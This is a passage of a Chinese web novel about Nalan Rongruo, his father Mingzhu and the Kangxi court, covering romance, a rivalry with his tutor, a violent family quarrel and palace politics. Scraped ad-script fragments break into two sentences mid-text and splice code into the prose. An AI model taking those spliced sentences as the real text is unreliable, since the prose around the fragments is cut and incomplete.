“那自然是进不来,除非是得到公子特许的少数几人。”云辞解释,“我的意思是:即便是公子有心待见苍生,那明珠也不许身份不配之人随意进出。不然,‘天下的纳兰公子’要是谁想见他都见得到,还如何谈上‘珍惜他’这三个字?” 在跟禹之鼎一起点的菜被端上来之前,云辞打开了自己的食盒。 以前她总是追究洋餐的精致,并不觉得普通的满人的食物哪里可以吃出新滋味来。 直到跟容若一起吃过几次饭,在明府在他家里与他一起吃,她才知道: 原来只要有心,满人的食物也能通过:改变造型、换置餐具、减小份量、新取名字等方式而变得雅致、美味。 出发之前,跟容若打招呼说自己要约禹之鼎去“饮水词歌·素菜馆”的时候,云辞跟容若之间有这样的对话。 “什么天街小雨润如酥,我怎么就见不得这三月烟雨的美?公子也一样因为三月病而倦春吗?” “云辞,你知道天上掌管雨水的神仙叫什么名字吗?如苏。苏醒的苏,不是酥饼的酥。所以年年三月病,念着‘如苏’二字、向司雨神君祈祷:愁绪快消、抱恙快好的时候,我心里反而有盼头。” “若是在三月结束之时吃酥饼,公子觉得哪款酥饼好?” “云辞你想亲手为禹画师做‘酥’对不对?千层酥饼的功夫难掌握,不如试试‘糖蒸酥酪’吧?你把这个点心做出来,就叫它‘奶酪酥’,我保证禹画师也会信。” “那就请公子教我怎么做吧!” “我不教。” “为什么?” “如果我教了,你给禹画师的心意就算不上是百分百。你跟禹画师两情相悦,为他做的点心不能参杂着我,不然对禹画师不公平。” “公子。” “云辞,点心,你能做到且做好。” “嗯。” “哦对了,一定要在我的‘饮水词歌·素菜馆’尝那道新菜:苹果炒排骨【注3】。皇上为我定制的,用莲藕条和油条做成的素排骨很好吃,可惜我不能多吃,就当作是我省油了吧……民间的菜油每斤四十文,‘花鸟风月楼’改装,帮工的工资每日七十文,那是因为他们在为明珠做事,所以阿玛给的高。天下帮工和劳役的报酬低,买油困难,油经常反复用不舍得倒掉,长此以往,危害身体,这些我都知道。但是国计民生之事,皇上也要一步一步来解决,不能操之过急。” 跑偏的话题戛然而止,“云辞对不起,我一不小心说多了。” “没有,公子说的对。我爱听公子这些为国为民之言。” “下次有机会再说,真想跟你一块到皇上面前去说。但是现在,”公子指向前方,“云辞你去为禹画师准备‘糖蒸酥酪’吧!” “好,谢公子。” “格格客气。祝你跟禹画师‘像糖蒸酥酪一样甜甜蜜蜜’呀云辞!” 所以云辞才愿意花时间,自寻做法,自思窍门,全心全意去为自己喜欢的禹画师制作这一盒:奶酪酥/糖蒸酥酪。 回到当下。 禹之鼎只是小尝了一口,就满是惊喜,在唇齿留香的美妙感觉之中,他问:“这奶酪酥,是云辞你亲手做的?” 云辞不在他面前提“光出主意、不教学”的纳兰,只是反问他:“我亲自下厨房做的,是不是更香?” “我爱吃这个!”禹之鼎兴奋道,“就好像是把牛奶蒸成了滑蛋一样,但是更细腻、更甜美。上面的红豆也好吃,红豆表示相思相爱——” 禹之鼎忽然握住云辞的手,“云辞我知道,你在做这道点心的时候,满心都是我对不对?你从头到尾都在想我,包括最后添上红豆的那一刻也是。” “我好高兴好感动。”禹之鼎转而捂住自己的心脏,“真的好高兴好感动,云辞你真好,我也很爱很爱你。” “我也吃。”云辞张开红樱小唇。 “是……是,咱俩应该一起吃。” 禹之鼎另取了一只小勺子,舀了一勺“糖蒸酥酪”送进云辞嘴里。 他看着她满足的样子,心中喜不自胜。 分别的时候,云辞从禹之鼎口中听到了一个意料之外的事实。 “云辞我没有告诉你,那幅献给你阿玛的《秋日猎鹰图》是我画的,不是太祖爷努尔哈赤那一朝的作品。上面的章,也是我仿刻的。” 惊讶归惊讶,回过神来以后,云辞反而高兴。 “禹画师,你做的好!不但是阿玛,连我都被你蒙在鼓里。更何况是我瓜尔佳氏祠堂里的列祖列宗。” “云辞,你真的不怪我?” “怪你做什么?你画人物肖像的功夫越发炉火纯青了,将来一定是大清最优秀、最有名的人物工笔画师!我为你自豪。” * 这以后,又过了两个半月,纳兰容若编成《古抄本十二卷》。 徐乾学大惊,闻讯容若来府时,反过来对他以大礼相接待。 徐乾学大赞道:“即便是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 贤者和当朝最博学的大儒,编解此十二卷难书也至少要耗费八、九个月有余,竟不想纳兰公子刻苦耐劳、慧海广集,只用五个月就将这项编解工程完成,真是有惊世之才啊!” “照吾师的估算,八、九个月有余岂非是到了秋考之日?”容若谦谦而问,“临近考试,一心两用可不好。” 容若心里清楚的很,徐先生恨不得用近三个的季度的时间来消耗和掏空纳兰的身子骨,好让纳兰垮掉,没法参加秋考。 所以容若才精益求精,抽丝剥茧,倾注了常人难以想象的心血,在短短五个月的时间里,将《古抄本十二卷》一一经解、注释、编修完成。 其中的难关和苦累,只有容若自己明白: 遇到难懂的古文僻字和难觅的典故出处,就安慰自己说,李商隐的诗更难懂更晦涩更难明深意,所以这十二卷难书不算什么,能够啃下来。 遇到残缺的不全页面和难辨的真伪言论,就勉励自己说,人生亦是如此,哪得处处顺意与日日平和?所以这些缺失可以去弥补,照自己的理解来刊填或是从别的书中来找到所证;所以那些真伪可以鉴论,以一颗冰清的心为证就好。 遇见苦郁的一家之言和多维的百家争鸣,就提醒自己说,去劣存真,前人的发声固然句句有可贵之处,不然也不能被称为经典。只是这几千年来的沧海桑田巨变,有些圣人之语,必须用新的视角来看待和诠释。 徐乾学领了容若往自家的“汇贤亭”走。 那个亭子,色深古朴,栏厚砖深,四周唯独有一排侧竹和数盆兰花,徐乾学向来只用来接待辈分比自己高或是学问比自己的人。 与容若一同坐下,煮茶相对,徐乾学心中莫名生出诸多雅致感来。 他心想:这是没道理的,纳兰性德作为一个晚辈,怎能与我这厚重中又带着那么些压迫感的“汇贤亭”相融合?资历老到者尚且对这个亭子心存敬畏,为什么他这个年轻人能够不乱阵脚? “纳兰公子作为满人,做成了这件连汉人学者都难以企及之事,真是块未来翰林院的好材料啊!本官只要一想到未来能与自己的‘爱徒容若’一起在翰林院共事,就巴不得提前沐浴焚香,对我徐家的列祖列宗相告。” “学生蒙幸,不敢愧对师恩。” “哪里哪里?此乃师生同喜之事,该为天下人所赞扬啊!” “有吾师的列祖列宗先一步肯首,想必你我为世人所认可也是顺理成章。学生是否要随吾师前往内堂拜见徐氏先辈们?” 徐乾学只感觉:自己的虚伪被纳兰性德驳诉到无话可说。 只得默默饮茶来跳过这个话题。 * 一只飞鸟鸣叫着从“汇贤亭”得八角翘顶边飞过。 师生二人不约而同地朝外一望,然后相视一笑。 “不知纳兰公子的《古抄本十二卷》编解成果如今在何处?本官何时得以一览?” “容若已将自己的所成,包括正卷附录、批注稿纸、勾画草图、闲作的吐槽小笺等,悉数献给皇上。吾师可等圣阅之后,再去宫中的相关文院索取原本或抄本不迟。” 徐乾学忽然想大骂一通: “纳兰性德,你当自己的大作成我翰林院的‘镇院之宝’了吗?绕来绕去将‘翰林院’说成‘文院’,分明是没把本官放在眼里!你就这么有自信,康熙皇帝看过之后,能把《古抄本十二卷·编解》送往你口中的‘文院’,叫那些年纪比你大几倍、阅历比你深几倍的大儒们翻阅学习?” “你这是以下犯上你知道吗?再说的难听一点,就是恃君宠而骄!叫老一辈来尊崇一个后生辈的才华,太祖爷、太宗爷、顺治爷三朝有过这样的先例吗?真真气煞我也!” 容若至始至终没有饮过桌面上的一口茶,哪怕徐乾学所选的,是他爱喝的碧螺春。 要是论心境,大抵是这样子的: 何处碧绿总相宜? 料峭春风共一盏。 “吾师可知道皇上的脾气?求贤若渴,尊儒重教。吾师深知如何教导容若、如何传授容若以文道、如何从容若的作业中深究容若之想……所以,日后皇上若是把向‘文院’的诸位同僚讲解《古抄本十二卷·编解》的重任给了吾师,还请吾师务必接下。” 容若对徐乾学深深一看,继续道: “吾师若见容若在《编解》之中犯了任何错误,请一定不要吝啬言语,在诸位‘文院’同僚面前大声数落容若的偏颇之处就是。” “纳兰公子心思细腻,才华灼灼,哪里有让本官挑错的份儿?” 徐乾学尽力让自己保持平静。 “老师的才学必定在学生之上,吾师阅容若经卷,犹如叶卷风中,知其已在树梢万般熬历,而不知其亦有飘零的忧。还请吾师抓住这片树叶,勿让其着地的太过匆忙。吾师可以满足学生的愿望否?” “这是自然。”徐乾学脸上挂着一丝强作的微笑。 “容若告退。” “你……这就要回去了?” “是,谢吾师给了学生来‘汇贤亭’一坐的机会。” “你是对本官,还是对这个亭子自称学生?” “容若一直都是学生。容若告退。” * 徐乾学站在家门口,看着容若骑马远去的背影。 恨恨道:“公子一骑绝尘,远甩他人,当之无愧是本官的好学生!” 纳兰啊纳兰,本官明明想害你,却成就了你,真是搬石头砸自己的腿。 一想日后本官竟成了“作为老师,却拿学生的著作出来,向翰林院的众同僚们做讲述”之人,真是五脏俱焚地在心头卧着一股火气! 这个先例,别说是大清朝,就算是历朝历代的“文院”,怕也是没有的。 本官为何偏偏当了这—— 师述徒作的第一人?! 真是狠狠打了自己的脸啊。 徐乾学叹完,背着手往回走去。 而等到徐乾学终于寻的一个机会反击纳兰父子时,已经是公子中举之后的事情了。 【注1】“到时候你躲哪儿?我的鹅暖被里侧吗?”容若有预见性的话,见第29章。 【注2】雅室名字“雨霁天明”,出自纳兰性德《雨霁赋》。 【注3】康熙朝素菜,纳兰首尝:苹果炒排骨。见第58章。 70.第70章 距离秋考,或者说顺天府乡试还剩一个月之际。 明府的一处空地上,容若正在陪弟弟揆叙和揆方练习弓箭。 这时,管家金叔过来,道:“长公子,老爷叫你去穴砚斋,说是有话要对长公子你讲。” “好,我这就过去。” 说罢,容若对两个小弟弟道:“揆叙揆方,长兄现在去阿玛那边,你俩小心练习,不要伤着碰着自己、教额娘担心,知道吗?” 两个小家伙应道:“是,我们记下容若哥哥的话了。” * 穴砚斋内。 容若一进去,就看见明珠的面色不对,像是想要发火一般,也不知道是在生谁的气?或是在对哪件事有所不满。 “儿请阿玛好,阿玛吉祥。” 没想到,明珠劈头就是一句气问:“阿玛不是叫你读《诗经》吗?读了没有。” 见明珠态度如此,容若心头一紧,隐隐作痛,不解:“阿玛您怎么了?” “你这样反问,就是自己认了没读过,是吗?” “不是,儿看过,也照着阿玛的意思去参详了里面的民歌风情与调子。但是至今没有把乐理整理到《渌水亭杂识》的样章里面去,那是因为——” “你给我把心收起来,好好准备秋考之事,其他的什么都不要管。” “四书五经,儿子倒背如流;骑射武功,儿子自诩一流。”容若做了辩解,“并非未对秋考之事上心,只是儿上心的一面,阿玛您或许没看到罢了。” “从明日开始,你就给阿玛好好呆着家里向学,哪儿也不许去!”明珠冷严道,“皇上那边阿玛会去说。” “儿要是哪里做错了,请阿玛直面说出。”容若看着明珠的眼睛,“否则,儿实在是不知道自己哪里惹阿玛不爽快了。” “索额图趾高气扬,原因是他的侄女赫舍里就快生产了!现在朝堂上人人恭维他、蠢蠢欲动想要弃我而去……要是皇上糊涂,把赫舍里皇后的儿子立为太子,以后的朝堂怕是要他索额图说了算了!” “大清没有立嫡长子为太子的规矩,向来都是等皇子们长大成人以后,谁的能力强就以谁为储君,将立储诏书放在正大光明的牌匾之后。所以儿认为,皇上不会在承祜一降生的那一刻,就将他立为太子。” 明珠好似没听容若说的前半段话一般,只抓住了最后一句,冲他训道:“你有心给皇上的嫡长子取名字,怎么不为惠儿着想?” 容若诚恳道: “儿不是越制给小阿哥取全名,只是照着皇上的意思,为小阿哥的名字择了一个字而已。皇上说过,会好好对待惠嫔,嫡妻跟嫔妃,总要分个先后顺序,总归以后皇上都是多子多福。阿玛为什么要紧盯着眼前的这一幕?” “赫舍里皇后是国母,皇上重视她不是合情合理吗?索额图以此为傲,众人阿谀奉承,也可想而知,阿玛应当冷静以对。” “你叫我冷静以对?”明珠一拍书桌,“是不是等到我明珠的党羽都七零八落的时候,你才能够共感一些危机意识啊?” “后宫即将添子添福之际,朝堂上不宜搞党争。”容若指出,“否则史册对阿玛的记载,恐怕不光彩。” “我明珠不光彩?他索额图就光明正大吗?”明珠一扫桌面上的三本书,“阿玛立场都快站不住了,你还有空在这里讲道理!” “众朝臣即便是向着索额图,本质上说还是看皇上对赫舍里皇后的态度,跟索额图自己得意洋洋有什么关系?难道索额图有心给阿玛脸色看,阿玛就非要接、非要自己找气不成吗?” “要是惠儿争气一点,早些怀上龙嗣,我明珠心里还能平衡一些。赫舍里皇后的产期将近,索额图本来就家势显赫,嫡长子有这个优势再加上子凭母贵,不就是太子的人选吗?阿玛不能让皇上这么干,所以你……” “儿诚然知道,一旦赫舍里皇后之子继承大统,必将与索党为盟、全歼明党。但是这事没个准的,皇上还年轻,选择太子之事还远着呢。阿玛您不是没有后续反击的机会,不一定要靠‘国戚’这一条路。” “你幼稚!” “阿玛您说什么?” 明珠的这三个字,对容若打击很大。 以至于容若的心脏无节奏地翻跳、一阵强烈过一阵地疼的厉害。 ——什么叫做我幼稚? ——为父谋我几时没有尽力过?包括“花鸟风月楼”的“内紧外松之策”也是我所提出和我所善后,由此阿玛您才能够顺顺利利、彻彻底底地:破楼阁之局。 * 明珠转身走进书阁内部,轻车熟路地翻找一本书, 很快,他拿来一本《仪礼》,翻到对应页面,摔在容若面前,道:“弃尔幼志,顺尔成德。寿考惟祺,介尔景福。” 读罢书页文字,容若失重跌坐在位置上,喃喃道: “阿玛您是在训斥儿子,若是不抛弃像孩童一般的志趣,就不能造就成年后的德行情操,也无法获高寿和享受洪福吗?” 见明珠不说话,容若又问:“阿玛觉得这样说儿子合适吗?” “儿一直以为,自己的名字‘成德’二字是取自《易经》,君子以成德为行,日可见之行也。” 容若心中冷凄,无奈淡笑: “如今才知道,这个名字给阿玛责骂的时候多了一条理儿:不按照《仪礼》里教的法则来行事、不按照纲常来是从父命,纳兰成德连一个‘有福有寿’之人都做不了!” “你不是不知道,阿玛想从你口中听得几句针对索额图和针对皇后肚子里的孩子的话,但是你除了替皇上高兴,何曾考虑过阿玛的感受?如此,你还认为阿玛拿《仪礼》里的话出来,训你训错了吗?” “冬郎一生极憔悴,判与三闾共醒醉【注1】。”容若按着绞痛难忍的心脏,“儿候着阿玛再去翻一本书出来,叫儿知道乳名‘冬郎’的真正深意。” “你——!!” 明珠气的一巴掌朝容若打了下去。 容若没撑住,上半身倾落在椅子右侧的茶几上,倒落了一只花瓶。他捂着心脏,剧烈喘息起来,脸色苍白。 花瓶翻侧在桌面上的清脆声没有惊醒明珠,反而使得他变本加厉地向儿子发泄起来。 “你这副华韧沉郁的样子是什么意思?” “儿……”容若颤动着嘴唇,“听阿玛的话,收心读书。” “读书之前,阿玛再给你一次机会,”明珠渴望自己得偿所愿,“接下来,阿玛应当如何步步为营?” “儿还是那句话:静观其变,另觅新路。” “你就这么不肯让阿玛反击索党的气焰吗?那阿玛只能叫惠儿在日后好好行使宫心计,让赫舍里皇后母子活的不自在。” “阿玛知道儿想说什么,所以儿宁愿不说。” “你作为康熙皇帝的陪臣、惠儿作为康熙皇帝的侧妃,意义是什么?是为了这个纳兰家,不是我明珠个人!” 容若扶正了桌子上的花瓶,冷眼看着明珠。 ——我和惠儿为了纳兰家,那谁能为了我和惠儿? ——高门广厦,深宫高墙,谁给我和惠儿一个逃离明府、逃离宫阙、逃离宿命的机会?我无数说服自己,不能走,再苦再累也要留下、也要活着,难道还对不住这个家族、这份担子、这条命?叫阿玛失望了? “容若,你给阿玛记着:阿玛行事狠绝且滴水不漏,不是非你不可!找你商量,一来是真的想从你口中听主意,二来是让你心中有个底,知道后续是什么因种了什么果。” 容若硬撑着身子站起来,“恭送阿玛。” 明珠气急败坏:“你反了,敢子赶父走?!” “儿现在没有心力跟阿玛理论,也没有意图跟阿玛争吵,请求阿玛……让儿自己静一静,歇一歇。” 明珠喘了两口大气,直盯着容若看,却始终没有对容若关心一句。 后来,明珠两袖一甩,双手一背,转身大步而去。 情之所伤,至亲最甚;心之所痛,宛如刀割。 利之所争,何时能休?名之所恨,谁可体谅? 容若走了数步,心中自语: “阿玛的态度,再怎么样都好、都罢。” “只是。成德之名,为臣的名声,家族的名望……好似一座座沉重的石头,压在心头疼痛无比。” 那种心脏的刺痛感,只增不减,轻呼吸无用,双手捂着无用,驻足向天上的神仙求一份安然更是无用。 反而是触发了更糟糕的头痛,容若感觉自己像是洋钟表的摆针一般,身体不自觉地摇晃,眼前模糊一片,消失了本应有的一切色彩。 终究,他还是没有撑住,似一根轻羽,飘落到了澹澹水面。 “来人,快来人……”容若倒在地上,疼痛着,喘息着,挣扎着,拼力向外呼喊,“救救我。” * 赫舍里皇后的嫡长子承祜诞生之日,康熙皇帝大喜。 太皇太后孝庄,前朝与后宫,亦是同喜,贺:帝后嫡出有成,贺大清江山后继有人。 “降生了,朕的嫡长子降生了!” 玄烨看着摇篮中的小阿哥,拉了拉躺在床上的赫舍里皇后的手,面带着对自己的嫡妻的感激与疼爱。 赫舍里在嬷嬷苏麻喇姑的搀扶下坐了起来,向摇篮里的小阿哥温柔道: “承祜,这位是你皇阿玛,大清朝的康熙皇帝。八岁登基,十四岁亲政,如今正走在大展宏图、大略得施的道路上。” 玄烨笑道:“皇后怎么光顾着让承祜记得自己的皇阿玛?也要多提提自己才好。”复转向小阿哥道:“这位是你的生母、朕的嫡妻赫舍里皇后。端庄淑慧,亲善六宫,孝顺太皇太后,是我大清实至名归的贤后。” 苏麻喇姑喜和道:“小阿哥不但有皇上皇后疼爱,还有老祖宗疼爱呢。咱们慈宁宫的老祖宗呀,也是早就把小阿哥的洗三、庆生宴、满月宴都安排好了,就等着小阿哥快快长大,开口叫:皇阿玛、皇阿奶和皇额娘呢。” 赫舍里道:“臣妾谢太皇太后用心。” 玄烨陪伴着妻儿,喜得嫡子的愉悦久久持续。 回到养心殿。 玄烨忽然对曹寅道:“皇后诞下嫡长子有功,朕要大赦天下!” 曹寅立刻清醒相劝:“这万万不可啊,皇上!” “有何不可?”玄烨执拗道,“这表示朕愿意宽恕过去和展望未来,亦会让得救之人心怀感激,以增加小阿哥的福报。” 曹寅大胆道:“太宗皇帝独宠宸妃海兰珠,在她的皇八子诞生以后,就立刻大赦天下,以暗喻皇八子会被立为皇太子。结果皇八子却是没有那样的福气啊!臣恳请皇上收回想法。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >玄烨一愣,怎么能拿自己的皇后赫舍里跟皇太极的宸妃海兰珠比呢?一个是嫡长子,另一个是皇八子,母子身份地位和长幼次序完全不同啊! 但是顾及太皇太后孝庄的感受,玄烨心中有所斟酌,心情已经不似刚进来之时。 玄烨试探曹寅道:“你不会站在纳兰那一边,见不得:索额图和他的侄女赫舍里皇后,在身份和尊荣两方面,都远远胜于明珠和惠嫔吧?” “皇上误会,臣不是这个意思。”曹寅连忙从君侧退了几步,面对着皇上的御桌称臣,“只是以为,皇上应当在取得更大的成就时,再大赦天下。” “撤藩和平藩以后吗?” “是啊!撤藩和平藩能成,属于皇上的大功一件,大赦天下自然可得万民同贺。再者说,河运漕运畅通,天下粮草运输无碍,天下航船往来自由之日,皇上也能够以‘河工既成,四海升平’为由,再行大赦天下之举。” “照你的意思,只要朕一生功绩不断,就能有无数次大赦天下的机会?” “皇上是圣君,千秋功业日渐必成,万古英名荣耀赫赫。切不可以贪一时之喜,而选错了大赦天下的契机和时间啊!” “有道理。”玄烨点头,“曹寅,朕觉得你的为臣之道也不输纳兰啊!” 曹寅心想:那不是被皇上您所逼出来的吗?纳兰不在您身边,我不打起十二分精神来伴君,能行吗?都是臣子,都是奴才,谁不是一心为君呢? * 明府之中。 袖云捧了一碗汤药来到容若身边。 “袖云择了张仲景的方子,取丹参、川芎、红花、桃仁来煎熬了这碗苦药,对调理急犯的心绞痛最好,请公子趁热饮下。“ 容若便接过碗,将苦药慢饮而尽。 瞧着空碗,不由得心生出一股莫名的悲感来。 真但愿自己的发病,只在一时,被明珠伤的急火攻心而已,日后不会再有,也不会再犯。 “我倒在藏书楼里之后,怎么样了?” 问罢,容若就细听起袖云的话来,想知道明珠是什么反应。 原来,在那一日: 容若昏死过去好一阵子后,才被人发现。 一来是藏书楼本就建在安静之处,下人们来往的少,不敢随便打扰里面的阅读向学之人;二来是明珠气呼呼地走出来以后,对管家吩咐了一句话:“叫人不必去管长公子!本官就留着他在藏书楼里思过。等他自己想明白了,再主动来找本官不迟。” 所以,容若失去意识之前,只剩下了叫天天不应、叫地地不灵的绝望。 ——阿玛,您真就一点都看不出我的心颤和绞痛吗? ——合眼之后,一切都归于黑暗的时候,那种空寂感胜过了痛感,此后我便是一切都不知。 后来,揆叙和揆方不见长兄回来检查箭术,就去了藏书楼找长兄。 推开门,他俩才惊讶地发现,长兄不好了! 唤了好一阵子名字都没把长兄唤醒,他俩马上去找了额娘。 觉罗氏闻讯大惊,责备了明珠几句之后,就立刻带着人去往藏书楼。 明珠则是对着管家怒吼:“愣着干什么?还不快去把最好的郎中请到府上来,容若有什么事,本官就责了你这耽误的功夫!” “额娘挂虑,阿玛叫了郎中来之后呢?” 容若边问、边合上了手头的一本《诗经》。 唯留下几张依旧是空白的稿纸,不想在《渌水亭杂识》的样章中,对“乐理常识”着一墨。 ——这,算是对阿玛的抵抗吗? ——分明是细小而无奈,却又逃不了避不开,好或者不好,妥或者不妥,全在一念之间,无须一丝弦上音。 袖云晓得容若只想听跟明珠相关的话,就如实道: “老爷没有来瞧公子,夫人倒是日夜守着公子。袖云问过管家,说是郎中仔细向老爷回了话,老爷对公子的情况询问的详实。管家还说,老爷心中,对自己把朝中党争之事发泄在公子身上之错举,已有悔意。” “袖云,你去给阿玛回话,就说:该吃的药公子都吃了,该看的书公子都看了,该收的心公子也收了。一切都过去了,公子希望父子关系回到从前。” “可要袖云想法子引老爷来探望公子?” “不必了。”容若品味着一份盼想却不强求的心情,“父子各忙各的好,我备考顺天府乡试,阿玛走他的斗索之路,都忙起来就不会再生什么矛盾了。” “这些日子,膳食都是由小厨房送到公子房间的,今晚公子可要去厅里跟老爷一同用晚膳?” “好。我记得阿玛喜欢吃什么,叫厨房把烧鹿筋、荷包里脊、笋丝扣肉煲、百合枸杞炒玉芹、带鱼落苏、葵花籽芝麻焖饭、清炖鸡汤,都准备好。” “公子自己呢?” “我跟阿玛吃一样的,自己注意着量,不要紧。” 袖云出去后,容若来到窗户边。 一只新置的玻璃鱼缸里养着数条小金鱼,他微笑着用指尖去触碰玻璃鱼缸的壁沿,收下了一份“秋考,鱼跃龙门”的好祝福。 【注1】 出自纳兰性德《填词》。 被称为“冬郎”的韩偓,一生遭际极为坎坷,而他的忠君爱国可与三闾大夫屈原相媲美。醒醉:公子表达“众人皆醉我独醒”之意。 71.第71章 容若和明珠的父子关系,恢复如常。 明府上下的氛围,也和谐如常。 明珠找了袖云来问:“本官送给容若的小金鱼,他可还喜欢?” 袖云道:“是,公子虽未问小金鱼的来源,但是每回到窗子边去观赏时,心情都很好。” “即便是容若问起,你也不必说是本官送的。” “想来公子也是知道老爷的用意的。” “如何见得?” “公子心思细腻、父子心意相通罢了。” “那就好。明日夫人要去寺庙为容若祈福和祈考运,袖云你也跟着夫人一并去。” “是,袖云也一并为公子、为老爷、为纳兰家祈平安、祈福气。” * 纳兰参加顺天府乡试的前三天,进宫去见了康熙皇帝。 玄烨叫顾总管去拿了一盘“定胜糕”过来,君臣同吃。 “朕的心意如何?” “皇上是指糕点还是对臣的态度?” “朕不是明摆希望你高中,然后通过会试和殿试,继续留在朕身边吗?” 纳兰敏锐地捕捉到了玄烨的态度。 玄烨的意思: 是不太愿意对他放手、让他去别的位置做官。 甚至,还带着那么一丝想要主宰他的一生的高傲。 这让纳兰心里生出了抵触感,自己勤学苦练、文武双全至今,为的就是凭才学可以入翰林、凭谋略可以征沙场,在朝堂内外都有用武之地,不必只拘束于当个“无事避风沙”的陪臣。 但是接下来的考试的最终结果,还是由皇上定夺。 即便是自己此刻就将理想和抱负慷慨说出,也不见得就能得偿所愿,何必不识趣地去试探和检证皇上的心思,枉然紧张了君臣关系? “皇上觉得臣哪里好?”纳兰吃着糕点问玄烨,“是臣真的好,还是皇上在潜意识、下意识里面认定了臣好?” “反过来,你又觉得朕哪里好?”玄烨一把握住纳兰拿着糕点的手,“敢以‘大清第一陪臣’自称。” “那是因为臣自小跟皇上一起长大,除了皇上基本上没有别的同龄朋友,所以下决心辅佐一代明君。君明自然臣贤,臣才有底气这么说。” 玄烨笑了几声,“你活在世上十八年,就光学会写词和忠君了吗?” 纳兰想了想,直言不讳道:“还学会了……不想当个奴才。” “除了九五至尊,在我大清人人都是奴才!”玄烨一点不对纳兰客气,“别说在朕面前,任何身份比你高的人面前,你都是个奴才!” “身份归身份,心气归心气。”纳兰有自己的判断标准,“臣不想屈服的时候就是不想,包括在皇上面前也一样。” “你说你要一身傲骨做什么?”玄烨看着桌面上的煮茶小炭炉,“像曹寅那般,该清醒的时候清醒,该取悦的时候取悦,该服软的时候服软,如此侍奉在君侧不好吗?” “人,都是独一无二的。”纳兰认真道,“一个人有心气,不等于跋扈和嚣张。” “多尔衮的功绩够大吧?可是他在朕的皇阿玛面前,也是自称奴才!朕对自己的皇阿玛没有什么好感,因为他专宠董鄂妃冷落皇额娘,但是即便是像他那样的皇帝,也能叫开国功臣低头和认了奴才的身份,这就是皇权的至高无上和臣下的无能为力。” “皇上拿臣跟臣的祖王父多尔衮比吗?臣不敢领罪、也不敢当。” “朕没有含沙射影要治你的罪,只是有时候,希望你……”玄烨忽然停住了,“算了,朕不说这些了。” “纳兰,秋考,朕知道你准备好了。这样的小考对你而言根本不在话下,即便这一届是满、蒙、汉三籍考生并录的第一届,朕也相信你这个‘第一才子’的美誉不是个虚名。” “皇上怎么不带上前缀?”纳兰故意问,“臣是‘天下第一才子’,还是‘满清第一才子’?” “朕不说,等你用成绩来证明。” “臣谢皇上认可臣的才华。” “你常喝温茶,朕看这水在小炭炉上温的差不多了。” 玄烨亲自提壶注水,按照一道一道茶序下来,为自己的陪臣泡了一壶茶。 “纳兰你爱喝碧螺春,朕钦点的御用茶饮也是这一款。源自江南的茶要是去江南喝才好,以后朕要带着你去南巡,你我君臣一同在青山雅湖之侧共闻茶香、共做陆羽之客。” “臣比皇上有空,考后得闲的时间里,真想游历山川各处。只可惜还有许多事情要做,终究是离不开渌水亭。” “你的空闲时间要朕拨给吗?” 玄烨一向不在纳兰本人面前用“恩赐”或是“赏给”的字眼,算是对他的珍惜,因为君王是不对臣子讲究“尊重”的。 “只怕以后皇上一下子北上、一下子南下,问鼎中原的兴致大发,处处要求臣跟着,会觉得腻。” “你不嫌累,朕就不觉腻。” “那……臣真把皇上这句话当真了。” “朕对你说的,本来就是句句真话。” 纳兰带着一份好心情走出了养心殿。 想来这次的秋考一定会顺顺利利的: 吃了皇上特制特赐的“定胜糕”,赏了阿玛明珠赠予的数条“跃龙门”小金鱼,身上带着沈宛给的“学业有成”平安符【注1】……多好呀! 君王、至亲、真爱,最珍贵的东西都在我手里了。 带着这三份祝福奔赴考场,我是当日最受加持的考生也未可知。 所以,前路一片光明,只待: 无事此年赴秋闱, 青鸟衔取佳音来。 * 索府。 索额图和夫人佟佳氏一并去了书房,原来是以为儿子有心向学,在里面好好读书,为秋考做最后的冲刺,哪里想到,推开门后的一幕: 竟然是格尔芬躺在长榻上,脑袋枕着双手仰躺,睁着眼睛在做“白日梦”的光景。 不等索额图开口,佟佳氏就先问了一句:“儿啊,你这是在做什么?” 格尔芬神往之态未消,只悠然道:“额娘,儿在酝酿三日后考试要写的文章,顺带与自己背下过的好文好句梦境相会。” 索额图一把将儿子从躺姿模样拽了起来,冷讽道: “你要是能凭这些没用的胡思乱想押对题,那真是我赫舍里氏的祖宗们在天上保佑!到时候阿玛连着你一同,给你爷爷索尼磕三个响头。” “儿没有纳兰兄的踏实学问,只能用巧。”格尔芬莫名自信,“谁能说这就算不得是有所准备?儿准备的文章能切题自然是最好,要是风马牛不相及,儿当场另行发挥就是;儿背下的东西能被选作题目自然是运气,要是没有一句话被抽中考题,那也不影响心态。” “老爷,妾身有句话不知道该说不该说。” “讲,当着本官跟你儿子的面讲出来。” “明珠的长子纳兰容若有编解《古抄本十二卷》的本事,还参加什么秋考?考或者不考,他都是默认的状元不是吗?” 索额图哈哈大笑。 “夫人有所不知,照本官看,纳兰容若有当状元之才,却没有当状元之命。皇上越是爱惜他、器重他、不离他,就越能叫本官有先见之明:殿试的结果前三名绝对没有他的份!” “阿玛,您这话是什么意思?”格尔芬不解,“皇上为什么要打压纳兰?” “明珠大权在握,皇上怎么可能容得下明珠那个——与父实力相当的长公子?”索额图意味深长地一笑,“皇上不计手段要把长公子留在身边,就是为了一点一点地消殆他。” “儿不懂阿玛说的话。”格尔芬变得认真起来,“阿玛的意思,难道是说纳兰信皇上信错了吗?” “这个世界上,最不可信的就是君心和君言。”索额图在格尔芬身边坐下,“一个陪臣,日积月累地被皇帝抽去灵魂、主宰命运,是最可怕的。” 格尔芬坐的笔直,一针见血地问:“连阿玛您都看清了这一点,明珠又怎么会不知道?他真愿意让容若一辈子就这么被皇上毁了吗?” “明珠应是觉得长公子能熬得过去,本官却不觉得。”索额图摇了摇头,“哀莫大于心死,长公子还没有走到这一步,等他真的意识到康熙皇帝是个伪善、自私、专横之人时,大抵会选择自我——” “阿玛别说了。”格尔芬打断,“儿不想听。” “了断!!” 索额图不顾儿子的阻拦,仍旧当着儿子的面把话说透: “长公子自找的,就怨不得皇上。世上本来只存在三种是非判断标准:对理、错理和天理(即皇上之理),没给长公子自己的‘心安之理’一席之地。” 索额图和佟佳氏走后,格尔芬第一次产生了“毛骨悚然”之感。 格尔芬向来对政治不感兴趣,自然也对康熙皇帝这个人没有过任何深究,可是阿玛索额图不一样啊!阿玛作为朝堂上能够跟明珠相制衡的手腕之臣,定是能将康熙皇帝看的七八分透彻,所以阿玛方才说的话,七八分可信。 ——纳兰兄的修养太好了! 